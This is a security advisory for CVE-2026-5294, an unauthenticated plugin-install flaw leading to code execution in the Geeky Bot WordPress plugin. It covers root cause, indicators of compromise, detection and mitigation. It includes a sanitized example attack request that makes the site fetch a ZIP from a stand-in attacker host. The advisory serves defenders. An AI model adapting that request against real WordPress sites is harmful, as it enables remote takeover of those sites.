CVE-2026-5294: Geeky Bot WordPress Plugin RCE Vulnerability

CVE-2026-5294 Overview

CVE-2026-5294 is a missing authorization vulnerability in the Geeky Bot plugin for WordPress affecting all versions up to and including 1.2.2. The plugin exposes a nopriv AJAX route that accepts attacker-controlled model and function dispatch parameters. This dispatch path reaches a plugin installer helper that downloads and unzips attacker-supplied ZIP archives directly into wp-content/plugins/. Unauthenticated attackers can install arbitrary plugins on a target site and achieve remote code execution. The flaw is tracked under CWE-862: Missing Authorization.

Critical Impact
Unauthenticated attackers can install arbitrary plugins on vulnerable WordPress sites and execute arbitrary PHP code under the web server account.

Affected Products

Geeky Bot plugin for WordPress, versions up to and including 1.2.2
WordPress sites with the Geeky Bot plugin installed and activated
Any hosting environment where the affected plugin processes unauthenticated AJAX traffic

Discovery Timeline

2026-05-05 - CVE-2026-5294 published to NVD
2026-05-05 - Last updated in NVD database

Technical Details for CVE-2026-5294

Vulnerability Analysis

The Geeky Bot plugin registers an AJAX action through the wp_ajax_nopriv_* hook, making the endpoint reachable by unauthenticated visitors. The handler dispatches requests based on model and function parameters supplied by the caller. Attackers can steer this dispatch into a plugin installer helper that retrieves a ZIP archive from a user-supplied URL and extracts it under wp-content/plugins/.

Because the route lacks both a capability check (current_user_can) and a nonce verification, no authentication or origin proof is required. The unzipped archive can contain a PHP file that executes with the privileges of the web server when invoked through standard WordPress request paths. This converts a missing authorization defect into reliable remote code execution on the host. Additional analysis is documented in the Wordfence Vulnerability Report.

Root Cause

The root cause is missing authorization on a privileged operation. The plugin registers a nopriv AJAX endpoint that exposes administrative functionality, including plugin installation, without enforcing capability or nonce checks. The dispatcher trusts client-supplied identifiers to select sensitive backend handlers.

Attack Vector

The attack is fully remote over HTTP or HTTPS and requires no privileges or user interaction. An attacker sends a single crafted POST request to wp-admin/admin-ajax.php referencing the vulnerable action and supplying a URL to a ZIP archive under their control. The patch landed in WordPress changeset 3497169.

// Conceptual request shape (sanitized, no working payload)
POST /wp-admin/admin-ajax.php
action=<vulnerable_nopriv_action>
model=<attacker_selected_model>
function=<installer_helper>
url=https://attacker.example/payload.zip

Detection Methods for CVE-2026-5294

Indicators of Compromise

New or unexpected directories appearing under wp-content/plugins/ that do not match plugins installed by administrators.
Outbound HTTP requests from the WordPress host fetching ZIP archives from unfamiliar domains shortly before new plugin files appear on disk.
POST requests to admin-ajax.php from unauthenticated sessions referencing Geeky Bot actions with model and function parameters.
PHP files with recent modification timestamps in plugin subdirectories that contain obfuscated code or web shell signatures.

Detection Strategies

Hunt web server access logs for unauthenticated POST requests to wp-admin/admin-ajax.php carrying action values associated with the Geeky Bot plugin.
Correlate plugin directory creation events with the parent php-fpm or apache2 process to identify installer-driven writes.
Alert on any process spawned by the web server that runs PHP files from a newly created plugin directory.

Monitoring Recommendations

Enable file integrity monitoring on wp-content/plugins/ and treat new top-level directories as high-priority events.
Capture and retain WordPress AJAX request logs with full POST bodies for at least 30 days to support retrospective hunting.
Monitor egress for ZIP downloads initiated by the PHP runtime to non-WordPress.org destinations.

How to Mitigate CVE-2026-5294

Immediate Actions Required

Update the Geeky Bot plugin to a version newer than 1.2.2 that includes the fix from changeset 3497169, or deactivate and remove the plugin until a patched release is confirmed.
Audit wp-content/plugins/ for unrecognized directories and remove any plugins not installed by an administrator.
Rotate WordPress administrator credentials, database passwords, and any secrets stored in wp-config.php if compromise is suspected.

Patch Information

The vendor fix is recorded in the WordPress plugin repository changeset 3497169. Site operators should upgrade to a Geeky Bot release that incorporates this changeset. Verify the installed version after update and confirm the vulnerable nopriv AJAX action either enforces capability checks or has been removed.

Workarounds

Block unauthenticated POST requests to wp-admin/admin-ajax.php carrying Geeky Bot action names at a web application firewall.
Set DISALLOW_FILE_MODS to true in wp-config.php to prevent plugin installation through any code path.
Restrict outbound network access from the WordPress host so it cannot fetch arbitrary ZIP archives from attacker-controlled domains.

bash

# Configuration example: prevent plugin and theme installation site-wide
# Add to wp-config.php above the "That's all, stop editing!" line
define( 'DISALLOW_FILE_MODS', true );